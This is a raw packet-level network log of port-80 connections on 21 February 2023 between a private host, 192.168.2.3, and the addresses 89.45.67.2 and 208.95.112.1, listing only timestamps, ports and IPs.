Feb 21, 2023 07:08:14.141753912 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:14.141920090 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:14.142038107 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:14.142179012 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:14.142282963 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:14.142369032 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:14.142553091 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:14.142709017 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:14.142755032 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:14.142932892 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:14.143044949 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:14.143178940 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:14.143294096 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:14.143388033 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:14.143521070 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:14.143642902 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:14.143800974 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:14.187243938 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:14.219651937 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:14.262860060 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:14.263096094 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:14.287766933 CET	49747	80	192.168.2.3	208.95.112.1
Feb 21, 2023 07:08:14.319962025 CET	80	49747	208.95.112.1	192.168.2.3
Feb 21, 2023 07:08:14.320091963 CET	49747	80	192.168.2.3	208.95.112.1
Feb 21, 2023 07:08:14.320420980 CET	49747	80	192.168.2.3	208.95.112.1
Feb 21, 2023 07:08:14.346828938 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:14.346930981 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:14.354254007 CET	80	49747	208.95.112.1	192.168.2.3
Feb 21, 2023 07:08:14.390137911 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:14.392530918 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:14.412395000 CET	49747	80	192.168.2.3	208.95.112.1
Feb 21, 2023 07:08:14.521322012 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:14.566762924 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:14.754993916 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:18.057058096 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:18.100594997 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:18.215244055 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:18.215370893 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:18.216782093 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:18.216869116 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:18.217092037 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:18.217092991 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:18.217174053 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:18.217174053 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:18.258754015 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:18.258833885 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:18.258868933 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:18.259815931 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:18.259850025 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:18.259952068 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:18.260107040 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:18.260227919 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:18.260284901 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:18.260387897 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:18.260550022 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:18.260608912 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:18.260782957 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:18.260890007 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:18.261001110 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:18.261075020 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:18.261185884 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:18.261420965 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:18.261492014 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:18.261624098 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:18.304164886 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:18.317557096 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:18.360905886 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:18.377527952 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:18.460160017 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:18.460338116 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:18.503547907 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:18.505872965 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:18.569458008 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:18.632869005 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:18.678313017 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:18.756974936 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:18.835665941 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:18.880846024 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:19.069545031 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:19.222357988 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:19.268188000 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:19.360223055 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:19.385585070 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:19.430887938 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:19.559638977 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:19.590153933 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:19.635412931 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:19.756055117 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:19.783647060 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:19.828901052 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:19.969414949 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:19.991343975 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:20.037862062 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:20.156074047 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:20.211404085 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:20.256804943 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:20.455565929 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:20.764231920 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:20.807455063 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:20.807708025 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:20.807833910 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:20.807954073 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:20.808053017 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:20.808125973 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:20.808182955 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:20.808267117 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:20.808357000 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:20.851039886 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:20.851102114 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:20.851146936 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:20.851239920 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:20.851387978 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:20.851562023 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:20.851597071 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:20.851711035 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:20.851867914 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:20.851903915 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:20.852036953 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:20.852204084 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:20.852354050 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:20.852510929 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:20.852545977 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:20.852663994 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:20.852827072 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:20.852859974 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:20.852987051 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:20.853020906 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:20.853159904 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:20.896787882 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:20.905713081 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:20.948944092 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:20.949254990 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:21.031864882 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:21.031944990 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:21.075165033 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:21.076997995 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:21.168627024 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:21.222378969 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:21.268245935 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:21.285551071 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:21.328778982 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:21.329057932 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:21.411855936 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:21.411971092 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:21.455362082 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:21.457499981 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:21.569094896 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:21.585154057 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:21.630656958 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:21.743108988 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:21.773247957 CET	49749	80	192.168.2.3	208.95.112.1
Feb 21, 2023 07:08:21.788825035 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:21.805629015 CET	80	49749	208.95.112.1	192.168.2.3
Feb 21, 2023 07:08:21.806571007 CET	49749	80	192.168.2.3	208.95.112.1
Feb 21, 2023 07:08:21.806916952 CET	49749	80	192.168.2.3	208.95.112.1
Feb 21, 2023 07:08:21.841214895 CET	80	49749	208.95.112.1	192.168.2.3
Feb 21, 2023 07:08:21.866035938 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:21.912915945 CET	49749	80	192.168.2.3	208.95.112.1
Feb 21, 2023 07:08:21.944451094 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:21.989510059 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:22.069130898 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:22.106631041 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:22.152026892 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:22.254193068 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:22.299640894 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:22.402333975 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:22.448016882 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:22.551222086 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:22.596673965 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:22.742748022 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:22.786120892 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:22.786400080 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:22.786560059 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:22.786636114 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:22.786763906 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:22.786828995 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:22.786921024 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:22.786976099 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:22.787190914 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:22.829782009 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:22.829843998 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:22.829880953 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:22.829916954 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:22.829945087 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:22.829952002 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:22.830081940 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:22.830116987 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:22.830197096 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:22.830231905 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:22.830390930 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:22.830462933 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:22.830533981 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:22.830738068 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:22.830774069 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:22.830873966 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:22.830986023 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:22.831053972 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:22.831154108 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:22.831227064 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:22.831300020 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:22.831382990 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:22.831500053 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:22.875734091 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:22.900144100 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:22.943537951 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:22.943774939 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:23.026945114 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:23.027131081 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:23.070338011 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:23.072525024 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:23.180862904 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:23.226164103 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:23.366384029 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:23.385596991 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:23.428909063 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:23.429913998 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:23.435655117 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:23.435745955 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:23.435955048 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:23.436089039 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:23.436166048 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:23.436253071 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:23.436291933 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:23.478974104 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:23.479034901 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:23.479079008 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:23.479083061 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:23.479114056 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:23.479147911 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:23.479262114 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:23.479376078 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:23.479484081 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:23.479564905 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:23.479773998 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:23.479809046 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:23.479922056 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:23.480000973 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:23.480061054 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:23.480201006 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:23.480438948 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:23.480474949 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:23.480508089 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:23.480622053 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:23.524729013 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:23.559933901 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:23.603307962 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:23.603589058 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:23.685977936 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:23.686084032 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:23.729372978 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:23.731214046 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:23.859791040 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:24.039747953 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:24.086013079 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:24.164778948 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:24.210602999 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:24.256501913 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:24.366539001 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:24.406642914 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:24.452136040 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:24.663530111 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:24.749082088 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:24.795717001 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:24.866647959 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:24.913768053 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:24.959300041 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:25.085326910 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:25.097274065 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:25.143044949 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:25.256279945 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:25.284821033 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:25.330787897 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:25.466617107 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:26.740021944 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:26.783241034 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:26.783526897 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:26.783660889 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:26.783987999 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:26.784049988 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:26.784130096 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:26.784235001 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:26.784444094 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:26.784528017 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:26.826822042 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:26.826878071 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:26.826911926 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:26.826915979 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:26.826997995 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:26.827191114 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:26.827248096 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:26.827311039 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:26.827404022 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:26.827455997 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:26.827601910 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:26.827636957 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:26.827769041 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:26.827835083 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:26.828006983 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:26.828092098 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:26.828166962 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:26.828366041 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:26.828398943 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:26.828433037 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:26.828615904 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:26.872680902 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:26.893434048 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:26.936886072 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:26.937181950 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:27.019889116 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:27.020319939 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:27.063438892 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:27.065465927 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:27.180346012 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:27.225758076 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:27.337120056 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:27.382891893 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:27.492922068 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:27.538619995 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:27.649441004 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:27.694680929 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:27.762489080 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:27.796498060 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:27.842195988 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:27.944801092 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:27.990137100 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:28.092523098 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:28.137923956 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:28.240547895 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:28.286832094 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:28.457487106 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:28.898742914 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:28.942210913 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:28.942487955 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:28.942620039 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:28.942713976 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:28.942812920 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:28.942897081 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:28.942951918 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:28.943042040 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:28.943093061 CET	49746	80	192.168.2.3	89.45.67.2
